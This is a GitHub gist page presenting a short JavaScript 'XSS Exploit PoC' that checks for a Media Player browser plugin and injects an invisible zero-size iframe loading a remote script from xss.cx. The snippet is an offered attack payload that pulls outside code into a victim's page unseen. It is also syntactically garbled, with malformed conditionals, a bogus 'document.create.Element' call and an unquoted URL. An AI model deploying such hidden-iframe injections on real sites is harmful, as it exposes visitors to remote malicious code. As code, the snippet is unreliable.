Skip to content

Instantly share code, notes, and snippets.

@xsscx
Created February 3, 2015 21:03
Show Gist options
  • Save xsscx/741d8278c409d47a8c12 to your computer and use it in GitHub Desktop.
Save xsscx/741d8278c409d47a8c12 to your computer and use it in GitHub Desktop.
iFramer XSS Exploit PoC #2
============================================
XSS Exploit PoC #2
============================================
function cx () {
try {
for (var i = 0; i < navigator.plugins.length; i++) {
if {name.indexOf("Media Player") != -1) {
var m = document.create.Element("iframe");
m.setAttribute("src", http://xss.cx/xss.js:);
m.setAttribute("width", 0);
m.setAttribute("height", 0);
m.setAttribute("frameborder", 0);
document.body.appendChild(m);
}
} catch (e) {
}
cx();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment